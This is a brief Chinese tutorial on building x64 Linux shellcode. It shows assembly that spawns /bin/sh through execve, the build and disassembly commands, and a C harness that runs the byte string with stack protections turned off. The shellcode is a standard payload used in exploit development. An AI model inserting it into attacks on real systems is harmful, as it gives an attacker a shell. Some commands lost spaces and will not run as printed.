Linux x64下编写shellcode - execve(/

1、将下述汇编代码存储为sh.s

section .text

  global _start

    _start:

      push rax

      xor rdx, rdx

      xor rsi, rsi

      mov rbx,'/bin//sh'

      push rbx

      push rsp

      pop rdi

      mov al, 59

      syscall

2、用nasm编译执行

nasm -f elf64sh.s -o sh.o

ld sh.o -o sh

3、显示汇编代码

objdump --disassemble ./sh

4、将上述得到的shellcode写入代码

#include <stdio.h>

unsigned charshellcode[] = \

"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";

main()

{

    int (*ret)() = (int(*)())shellcode;

    ret();

}

5、gcc编译执行

gcc -fno-stack-protector -z execstack shell.c -o shell